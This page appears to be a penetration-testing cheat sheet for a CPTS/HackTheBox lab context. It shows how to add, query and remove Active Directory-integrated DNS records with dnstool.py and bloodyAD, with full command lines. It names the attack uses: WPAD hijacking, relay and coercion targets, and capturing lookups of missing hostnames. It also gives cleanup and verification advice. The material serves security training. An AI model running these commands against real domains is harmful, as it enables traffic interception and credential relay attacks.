AD^:Active Directory

dnstool & bloodyAD

Read and modify AD-integrated DNS records through LDAP; verify zone permissions, authoritative answers, TTL behaviour and cleanup.

intermediateupdated 2026-10-11krbrelayx · bloodyAD · dig

dnstool & bloodyAD

AD-integrated DNS (ADIDNS) stores zones in LDAP, and many default zones allow authenticated users to create new names, subject to the zone and object ACLs. That lets you point an arbitrary name at your machine — to seed WPAD, satisfy a relay/coercion target name, or fill a missing record a service looks up. Two tools do it: dnstool.py (krbrelayx) and bloodyAD.

dnstool.py (krbrelayx)

# list all zones on the DNS server
dnstool.py -u 'DOMAIN\user' -p pass --print-zones 10.10.10.5

# query an existing record
dnstool.py -u 'DOMAIN\user' -p pass -r existinghost.domain.htb --action query 10.10.10.5

# ADD an A record  name -> your IP
dnstool.py -u 'DOMAIN\user' -p pass \
  -r attacker.domain.htb --action add --data 10.10.14.6 10.10.10.5

# with Kerberos (NTLM disabled domains)
export KRB5CCNAME=user.ccache
dnstool.py -u 'domain.htb\user' -k \
  -r bitbucket.domain.htb --zone domain.htb --action add --data 10.10.14.6 -dns-ip 10.10.10.5 DC01.domain.htb

# remove / tombstone a record you added
dnstool.py -u 'DOMAIN\user' -p pass -r attacker.domain.htb --action remove 10.10.10.5
FlagMeaning
-u 'DOM\user' / -pcredentials (note the DOM\ form)
-kKerberos (reads KRB5CCNAME)
-r NAMEthe record name to target
-a, --actionadd / modify / query / remove / resurrect / ldapdelete (default query)
-t, --typerecord type (only A supported)
-d, --datarecord data (the IP for an A record)
--zonezone, if different from the domain
--print-zoneslist zones, make no changes
-dns-ipDNS server to resolve against
--forest / --legacysearch ForestDnsZones / the legacy System partition
--ttlrecord TTL (default 180)
HOSTNAME (positional)the LDAP/DC host to connect to

bloodyAD — dnsRecord

# add  attacker.domain.htb -> 10.10.14.6
bloodyAD --host DC.domain.htb -d domain.htb -u user -p pass \
  add dnsRecord attacker 10.10.14.6

# Kerberos
bloodyAD --host DC.domain.htb -d domain.htb -u user -p pass -k \
  add dnsRecord attacker 10.10.14.6

# read it back
bloodyAD --host DC.domain.htb -d domain.htb -u user -p pass get dnsDump

Confirm it resolves

dig @10.10.10.5 attacker.domain.htb +short        # -> 10.10.14.6
nslookup attacker.domain.htb 10.10.10.5

[!tip] Why you add a record

  • Relay/coercion target — the Kerberos ESC8 chain needs the DC to auth to a name that points at you (see Kerberos relay to AD CS).
  • WPAD hijack — add a wpad record pointing at your Responder/mitm6 box when the zone has no WPAD and GPO blocking isn’t in effect.
  • Fill a missing lookup — a service that resolves a non-existent hostname becomes attacker-controlled once you add the record.

[!warning] Watch out

  • Caching and replication — TTL controls resolver caching, not a fixed AD refresh timer. Query the authoritative server and account for replication to other DCs. If dig returns nothing, wait one TTL and retry before assuming failure.
  • Default-deny on some hardened domains — if add returns an LDAP access error, the “authenticated users can create” ACL was tightened; you’ll need a more privileged principal.
  • Clean up — --action remove (dnstool) your records after; stray A records are noisy and can break the box for others.
  • Only A records via dnstool’s -t; for other types manipulate the dnsRecord LDAP attribute directly.

Read before writing; verify before cleanup

Record the original LDAP entry and authoritative DNS answer. Creating a new name is different from changing an existing protected record. A successful LDAP bind proves authentication, not write permission.

dig @10.10.10.5 attacker.domain.htb A +noall +answer

Success: LDAP reports the change and the authoritative answer contains the expected address. A workstation’s cached answer alone cannot establish this. WPAD also depends on DNS blocklists and client behaviour; adding an A record does not guarantee a callback.

remove tombstones a record; ldapdelete removes the LDAP object. If you changed an existing record, restore its original data rather than deleting it. For a new test name, document the removal and check that it no longer resolves after caches expire. Special Kerberos relay labels require a valid marshalled suffix; ordinary aliases are not interchangeable with them.

See Also

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.